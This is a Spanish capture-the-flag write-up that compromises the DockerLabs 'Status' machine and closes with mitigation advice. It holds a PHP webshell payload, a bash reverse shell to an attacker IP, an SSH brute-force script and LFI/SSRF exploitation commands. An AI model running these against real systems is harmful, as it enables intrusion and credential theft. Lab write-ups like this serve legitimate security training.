Status

Introducción

Este documento detalla la metodología y procedimiento completo para comprometer la máquina Status, desarrollada por Pylon & El Pingüino de Mario para DockerLabs y clasificada con dificultad Media. Esta máquina presenta un escenario avanzado donde múltiples vulnerabilidades web encadenadas permiten acceso completo al sistema, incluyendo bypass de controles mediante cabeceras HTTP.

La resolución sigue una metodología estructurada:

1. Reconocimiento: Enumeración de servicios y descubrimiento de funcionalidad oculta mediante cabeceras HTTP.
2. Explotación: Path traversal, Local File Inclusion (LFI) y conversión a Remote Code Execution (RCE) mediante PHP wrappers.
3. Escalada de privilegios: Fuerza bruta dirigida y abuso de privilegios sudo en unzip.

El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando vulnerabilidades complejas en aplicaciones web.

---

Información Técnica

Atributo	Valor
Nombre	Status
Autor	Pylon & El Pingüino de Mario
Dificultad	Medio
Fecha	25/06/2025
Plataforma	DockerLabs
IP Objetivo	172.17.0.2

---

Fase 1 — Despliegue y Configuración

1.1 Preparación del Entorno

Descomprimimos el archivo de la máquina y lo desplegamos:

unzip Status.zip
sudo bash auto_deploy.sh Status.tar

Figura 1: Dirección IP asignada al contenedor

1.2 Organización del Workspace

Creamos una estructura organizada para documentar el proceso:

mkdir -p Status/{content,exploits,nmap,gobuster,scripts}
cd Status

---

Fase 2 — Reconocimiento

2.1 Escaneo de Puertos

Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultados:

• 80/tcp — HTTP (Web Server)

Figura 2: Único servicio HTTP expuesto

2.2 Análisis del Servicio Web

Realizamos un escaneo de directorios:

feroxbuster -u http://172.17.0.2 -d 0 \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -x php,txt,html,js,bak,old \
  -t 40 \
  -C 404,403

Figura 3: Resultados del escaneo en puerto 80

2.3 Enumeración de Contenido Web

1. /index — Página principal básica

   curl -s http://172.17.0.2/

2. /status.php — Endpoint que verifica estado Figura 4: Endpoint /status.php con mensaje genérico

2.4 Análisis de Cabeceras HTTP

Inspeccionando la respuesta de /status.php con Burp Suite:

Figura 5: Cabecera personalizada Statusid en la respuesta

Hallazgo crítico: La respuesta incluye la cabecera personalizada Statusid: 0, sugiriendo un mecanismo de control de acceso basado en cabeceras HTTP.

---

Fase 3 — Explotación: Bypass de Controles

3.1 Bypass Mediante Cabecera Statusid

Probamos enviar la cabecera Statusid: 1:

curl -s -H "Statusid: 1" http://172.17.0.2/status.php

Resultado: Se revela una funcionalidad oculta - un verificador de estado de sitios web:

Figura 6: Panel de verificación de estado de sitios web

3.2 Enumeración de Puertos Internos

Utilizamos la funcionalidad para escanear puertos internos mediante SSRF:

# Usamos ffuf para escanear puertos locales
seq 1 10000 | ffuf -w - \
  -u 'http://172.17.0.2/status.php' \
  -X POST \
  -H 'Statusid: 1' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'url=http://localhost:FUZZ' \
  -fs 339

Figura 7: Puerto 3222 identificado como servicio web interno

Hallazgo: Puerto 3222 expone un servicio web interno.

3.3 Descubrimiento de API Interna

Accedemos al servicio interno descubierto:

curl -s -H "Statusid: 1" \
  -d "url=http://localhost:3222" \
  http://172.17.0.2/status.php

Figura 8: Endpoints de API descubiertos

3.4 Descarga de Backup

Descubrimos y descargamos un archivo backup:

# Descargamos el backup
wget "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/backups/backup_5025a3123660d066c9ba8617c0cd92d5.zip"

# Extraemos contenido
unzip backup_5025a3123660d066c9ba8617c0cd92d5.zip

3.5 Análisis del Código Fuente

Examinamos el código fuente extraído y descubrimos un archivo vulnerable:

find . -name "*.php" -type f | xargs grep -l "file.php\|include\|require"

Hallazgo: file.php contiene vulnerabilidad de Local File Inclusion (LFI) en el parámetro 72e22dffd7fa10883a85aa3e0bbbd6d4.

3.6 Explotación de LFI

Probamos la vulnerabilidad LFI:

curl -s "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=/etc/passwd"

Figura 9: Lectura de /etc/passwd mediante LFI

3.7 Conversión de LFI a RCE mediante PHP Wrappers

Verificamos disponibilidad de PHP wrappers:

# Probamos php://filter
curl -s "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=php://filter/read=string.toupper/resource=file.php"

Confirmación: Los wrappers PHP están disponibles.

3.8 Generación de Cadena de Filtro PHP

Utilizamos php_filter_chain_generator para crear una cadena que inyecte código PHP:

# Generamos cadena para webshell
python3 php_filter_chain_generator.py \
  --chain '<?php system($_GET["cmd"]); ?>'

3.9 Ejecución de Comandos

Probamos la ejecución de comandos:

# URL encode la cadena generada
CHAIN="php://filter/generator...php://temp"

curl -s "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=${CHAIN}&cmd=id"

Figura 10: Ejecución de comando mediante RCE

3.10 Obtención de Shell Reversa

Creamos una reverse shell:

# Iniciamos listener
nc -nlvp 443

# URL encode del payload
PAYLOAD=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'\"))")

# Ejecutamos reverse shell
curl -s "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=${CHAIN}&cmd=${PAYLOAD}"

Figura 11: Shell como www-data obtenida

3.11 Normalización de la Shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

---

Fase 4 — Escalada de Privilegios

4.1 Enumeración del Sistema

Comenzamos la enumeración post-explotación:

whoami
id
pwd
ls -la

4.2 De www-data → baluton

Identificamos el usuario baluton en /etc/passwd pero no tenemos credenciales. Realizamos fuerza bruta:

Preparación en máquina atacante:

# Creamos script UserRush.sh
cat > UserRush.sh << 'EOF'
#!/bin/bash
# Script simplificado para fuerza bruta SSH
USER=$1
WORDLIST="rockyou.txt"

while read PASS; do
  sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no $USER@172.17.0.2 "id" 2>/dev/null
  if [ $? -eq 0 ]; then
    echo "[+] Credenciales encontradas: $USER:$PASS"
    exit 0
  fi
done < "$WORDLIST"
EOF

chmod +x UserRush.sh

Transferencia a máquina objetivo:

# En atacante
python3 -m http.server 8000

# En objetivo (via RCE)
curl -o /tmp/UserRush.sh http://172.17.0.1:8000/UserRush.sh
curl -o /tmp/rockyou.txt http://172.17.0.1:8000/rockyou.txt

Ejecución de fuerza bruta:

cd /tmp
chmod +x UserRush.sh
./UserRush.sh baluton

Figura 12: Credenciales de baluton obtenidas

Credenciales obtenidas: baluton:fiesta

4.3 Acceso como baluton

su baluton
# Contraseña: fiesta

Figura 13: Acceso como usuario baluton

4.4 De baluton → root

4.4.1 Verificación de Privilegios Sudo

sudo -l

Figura 14: baluton puede ejecutar unzip como root

Hallazgo: (root) NOPASSWD: /usr/bin/unzip

4.4.2 Búsqueda de Archivos ZIP

find / -name "*.zip" -type f 2>/dev/null

Figura 15: Archivo ZIP encontrado en sistema

4.4.3 Extracción de Archivo Privilegiado

# Creamos directorio temporal
mkdir -p /tmp/secret_extraction

# Extraemos como root
sudo /usr/bin/unzip /secretitosecretazo.zip -d /tmp/secret_extraction

# Examinamos contenido
ls -la /tmp/secret_extraction/

4.4.4 Lectura de Credenciales Root

cat /tmp/secret_extraction/regalitoregalazoregalin.txt

Figura 16: Credenciales root en archivo extraído

Credenciales obtenidas: root:12345678

4.4.5 Acceso como root

su root
# Contraseña: 12345678

Figura 17: Acceso root exitoso

4.5 Verificación Final

id
whoami
cat /etc/shadow | head -1

---

Análisis de Vulnerabilidades

5.1 Fallos de Seguridad Identificados

Vulnerabilidad	Severidad	Impacto	CWE/Referencia
Control de acceso basado únicamente en cabeceras HTTP	Alta	Bypass de autenticación	CWE-639
Server-Side Request Forgery (SSRF)	Crítica	Enumeración de servicios internos	CWE-918
Local File Inclusion (LFI) sin sanitización	Crítica	Lectura arbitraria de archivos	CWE-22
Disponibilidad de wrappers PHP peligrosos	Crítica	LFI → RCE conversion	CWE-73
Contraseñas débiles y predecibles	Alta	Escalada horizontal	CWE-521
Configuración insegura de sudo (unzip)	Crítica	Escalada vertical a root	CWE-269
Archivos con credenciales en texto plano	Crítica	Exposición de credenciales privilegiadas	CWE-312

5.2 Recomendaciones de Mitigación

1. Autenticación y Autorización Robustas:

   • Implementar mecanismos de autenticación estándar (JWT, sessions)
   • No confiar únicamente en cabeceras HTTP para control de acceso
   • Implementar validación de origen de peticiones

   // EJEMPLO DE VALIDACIÓN CORRECTA
   session_start();
   if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
       http_response_code(403);
       die('Acceso no autorizado');
   }

2. Protección contra SSRF:

   • Validar y sanitizar URLs en funciones de red
   • Implementar listas blancas de dominios permitidos
   • Utilizar firewalls de aplicación web (WAF)

   $allowed_hosts = ['example.com', 'api.example.com'];
   $host = parse_url($url, PHP_URL_HOST);
   
   if (!in_array($host, $allowed_hosts)) {
       die('Host no permitido');
   }

3. Sanitización de Entradas para LFI:

   • Validar y sanitizar todos los parámetros de entrada
   • Utilizar listas blancas de archivos permitidos
   • Evitar inclusión dinámica basada en entrada de usuario

   // INCORRECTO
   include($_GET['file']);
   
   // CORRECTO
   $allowed_files = ['page1.php', 'page2.php'];
   $file = basename($_GET['file']);
   if (in_array($file, $allowed_files)) {
       include($file);
   } else {
       die('Archivo no permitido');
   }

4. Configuración Segura de PHP:

   • Deshabilitar wrappers PHP peligrosos

   ; php.ini configuration
   allow_url_fopen = Off
   allow_url_include = Off

   • Restringir funciones peligrosas

   disable_functions = system,exec,passthru,shell_exec

5. Gestión de Credenciales:

   • Implementar políticas de contraseñas complejas
   • Utilizar autenticación multifactor
   • No almacenar credenciales en texto plano
   • Rotar credenciales regularmente

6. Configuración Segura de Sudo:

   • Revisar y minimizar privilegios sudo
   • Especificar comandos exactos con argumentos

   # INCORRECTO
   baluton ALL=(ALL) NOPASSWD: /usr/bin/unzip
   
   # CORRECTO (si es necesario)
   baluton ALL=(ALL) NOPASSWD: /usr/bin/unzip /backups/*

7. Monitoreo y Detección:

   • Implementar logging de intentos de LFI/SSRF
   • Configurar alertas para ejecución de comandos
   • Monitorear uso de privilegios sudo
   • Realizar auditorías de seguridad periódicas

   # Configurar auditd para monitorear sudo
   auditctl -a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo

8. Desarrollo Seguro:

   • Implementar revisiones de código de seguridad
   • Realizar pruebas de penetración regulares
   • Capacitar a desarrolladores en seguridad web
   • Utilizar herramientas SAST/DAST